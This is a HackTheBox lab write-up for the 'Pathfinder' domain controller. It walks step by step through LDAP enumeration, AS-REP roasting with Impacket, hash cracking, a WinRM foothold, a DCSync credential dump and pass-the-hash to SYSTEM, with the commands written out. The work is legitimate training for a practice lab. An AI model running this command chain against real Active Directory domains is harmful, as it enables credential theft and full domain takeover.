HackTheBox - Pathfinder Writeup

Enumeration

scan top 1000 ports

nmap -sC -sV -oN nmap/initial 10.10.10.30

the result

# Nmap 7.91 scan initiated Sat Jul 10 02:31:44 2021 as: nmap -sC -sV -oN nmap/initial 10.10.10.30
Nmap scan report for 10.10.10.30
Host is up (0.34s latency).
Not shown: 989 closed ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-10 01:40:02Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: PATHFINDER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h07m25s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-07-10T01:40:31
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 10 02:33:21 2021 -- 1 IP address (1 host up) scanned in 96.82 seconds

scan all ports

nmap -sC -sV -p- -oN nmap/all_ports 10.10.10.30

the result

# Nmap 7.91 scan initiated Tue Jul 13 07:49:25 2021 as: nmap -sC -sV -p- -oN nmap/all_ports megacorp.local
Nmap scan report for megacorp.local (10.10.10.30)
Host is up (0.34s latency).
rDNS record for 10.10.10.30: MEGACORP.LOCAL
Not shown: 65511 closed ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-13 07:24:15Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: PATHFINDER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h07m28s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-07-13T07:25:12
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 13 08:17:58 2021 -- 1 IP address (1 host up) scanned in 1712.57 seconds

Open Ports

Well, that’s a lot of open port
with quick scan. Looks like this is Domain Controller

Hosts

First, I’m gonna add MEGACORP.LOCAL into /etc/hosts file

add hostname in /etc/hosts

LDAP

The Lightweight Directory Access Protocol is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol network.

LDAPsearch

Enumerate LDAP (Lightweight Directory Access Protocol)
By using the tool called ldapsearch

LDAP QUERY [ldapsearch]

Let’s query this LDAP by using ldapsearch
By using this command
Source
- Ippsec - Enumerating LDAP with LDAPSEARCH

ldapsearch -x -h megacorp.local -s base namingcontexts

the result

ldapsearch

LDAP DUMP [ldapsearch]

Let’s dump all with this command
Source
- Ippsec - Playing with LDAP Again (with the Amanda Creds)
- devconnected - How To Search LDAP using ldapsearch

ldapsearch -x -h megacorp.local -b "dc=megacorp,dc=local"

the result

ldapsearch query error

well, the operation was error
lucky for me. I’ve got sandra credentials from previous box shield
let’s try bind it with those creds

ldapsearch -x -h megacorp.local -b "dc=megacorp,dc=local" -D '[email protected]' -w 'where_you_put_the_password_in'

the result

ldapsearch query with sandra credentials

the output pretty much crazy and crazy
above was the snippet of it ;)
so, I’m gonna save it in file called ldump_all

LDAP DUMP USER [ldapsearch]

Let’s dump all the user and save it in file called ldump_users
Source
- ATLANSSIAN - How to write LDAP search filters

ldapsearch -x -h megacorp.local -b "dc=megacorp,dc=local" -D '[email protected]' -w 'where_you_put_the_password_in' "(&(objectClass=person)(objectClass=user))"

the result

# extended LDIF
#
# LDAPv3
# base <dc=megacorp,dc=local> with scope subtree
# filter: (&(objectClass=person)(objectClass=user))
# requesting: ALL
#

# Administrator, Users, MEGACORP.LOCAL
dn: CN=Administrator,CN=Users,DC=MEGACORP,DC=LOCAL
objectClass: top
objectClass: person

--[[SNIP]]--

# search reference
ref: ldap://ForestDnsZones.MEGACORP.LOCAL/DC=ForestDnsZones,DC=MEGACORP,DC=LOC
 AL

# search reference
ref: ldap://DomainDnsZones.MEGACORP.LOCAL/DC=DomainDnsZones,DC=MEGACORP,DC=LOC
 AL

# search reference
ref: ldap://MEGACORP.LOCAL/CN=Configuration,DC=MEGACORP,DC=LOCAL

# search result
search: 2
result: 0 Success

# numResponses: 10
# numEntries: 6
# numReferences: 3

Finally, we’ve got all the users

users list

Well, I can’t find anything usefull
So, I went to the internet for searching tool for dumping user from LDAP
Finally, I found one that can work

LDAP DUMP [ldapdomaindump]

Let’s dump all the user
Before, I run the command. I’m gonna make a folder real quick called ldap_dumps
Source
- Github - ldapdomaindump

ldapdomaindump -u megacorp\\sandra -p put_the_passwd_in -o ldap_dumps 10.10.10.30

ldapdomaindump

the command above is dumping all in folder called ldap_dumps
the result, we’ve got a lot of file
let’s take a look at domain_users.html

view domain_users.html

Kerberos

Kerberos (/ˈkɜːrbərɒs/) is a computer-network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure manner. The protocol was named after the character Kerberos (or Cerberus) from Greek mythology, the ferocious three-headed guard dog of Hades.

Source
- Wikipedia - Kerberos(protocol)

Kerberos - [DONT_REQ_PREAUTH]

Source
- Kerberos - Pentest Book
- hacking articles - Abusing Kerberos Using Impacket

Impacket [GetNPUsers.py]

This script will attempt to list and get TGTs for those users that have the property Do not require Kerberos preauthentication set (UF_DONT_REQUIRE_PREAUTH).

svc_bes user have very unique flags that state DONT_REQ_PREAUTH
with those flags. I’m gonna use this impacket tool called GetNPUsers.py
the output will save in file called svc_bes.hash in John-The-Ripper[JtR] format.

GetNPUsers.py megacorp.local/svc_bes -no-pass -request -format john > svc_bes.hash

John-The-Ripper

Use JtR for cracking the file
the result

cracked svc_bes hash

Now, We’ve got the svc_bes user password

Foothold/Gaining Access

Evil-Winrm

Nmap scan show us winrm port is open [port 5985]
Source
- Tyler Muir - Default WinRm Ports and How to Change Them
Let’s try connect into this machine with those creds
By using Evil-winrm
Source
- Github - evil-winrm

evil-winrm -i 10.10.10.30 -u svc_bes -p put_the_password_here

User Flag

user flag

Privilege Escalation

DCSync Attack

DCSync is a credential dumping technique that can lead to the compromise of individual user credentials, and more seriously as a prelude to the creation of a Golden Ticket, as DCSync can be used to compromise the krbtgt account’s password.

Source

Impacket [SecretsDump.py]

Performs various techniques to dump hashes from the remote machine without executing any agent there.

Source
- Ippsec - Running SecretsDump with svc_loanmgr to perform a DCSYNC
I’m gonna run secretsdump.py with this command

secretsdump.py megacorp.local/svc_bes:[email protected]

the result

DCSync attack

We manage to dump all the users hash
The most important hash is the Administrator hash
Do we crack it?
- Actually… We can login as Administrator by using password hashes
By using another Impacket script called psexec.py

Impacket [psexec.py]

PSEXEC like functionality example using RemComSvc, with the help of python script we can use this module for connecting host machine remotely.

psexec.py megacorp.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d5xxxxxxxxxxxxxxxxx

the result

$login as nt authority\\system$

Admin flag

root flag

Conclusion

I’ve learned a lot today. I’m new to the AD/Domain Controller Hacks or whatever you want to call it :). This machine is so fun and I’ve gained a lot of knowledge about it. Do not rely on one tool only. You need to explore and find another tool and understanding it. Lastly, it is important to configure the user correctly and securely. Before I forgot, again do not put any credentials on the non-secure machine. Even tho it’s happened, quickly change the password.

I have a fun time doing this machine and I hope you guys do too. Bye ;)

Enumeration#

Open Ports#

Hosts#

LDAP#

LDAPsearch#

LDAP QUERY [ldapsearch]#

LDAP DUMP [ldapsearch]#

LDAP DUMP USER [ldapsearch]#

LDAP DUMP [ldapdomaindump]#

Kerberos#

Kerberos - [DONT_REQ_PREAUTH]#

Impacket [GetNPUsers.py]#

John-The-Ripper#

Foothold/Gaining Access#

Evil-Winrm#

User Flag#

Privilege Escalation#

DCSync Attack#

Impacket [SecretsDump.py]#

Impacket [psexec.py]#

Admin flag#

Conclusion#

Enumeration

Open Ports

Hosts

LDAP

LDAPsearch

LDAP QUERY [ldapsearch]

LDAP DUMP [ldapsearch]

LDAP DUMP USER [ldapsearch]

LDAP DUMP [ldapdomaindump]

Kerberos

Kerberos - [DONT_REQ_PREAUTH]

Impacket [GetNPUsers.py]

John-The-Ripper

Foothold/Gaining Access

Evil-Winrm

User Flag

Privilege Escalation

DCSync Attack

Impacket [SecretsDump.py]

Impacket [psexec.py]

Admin flag

Conclusion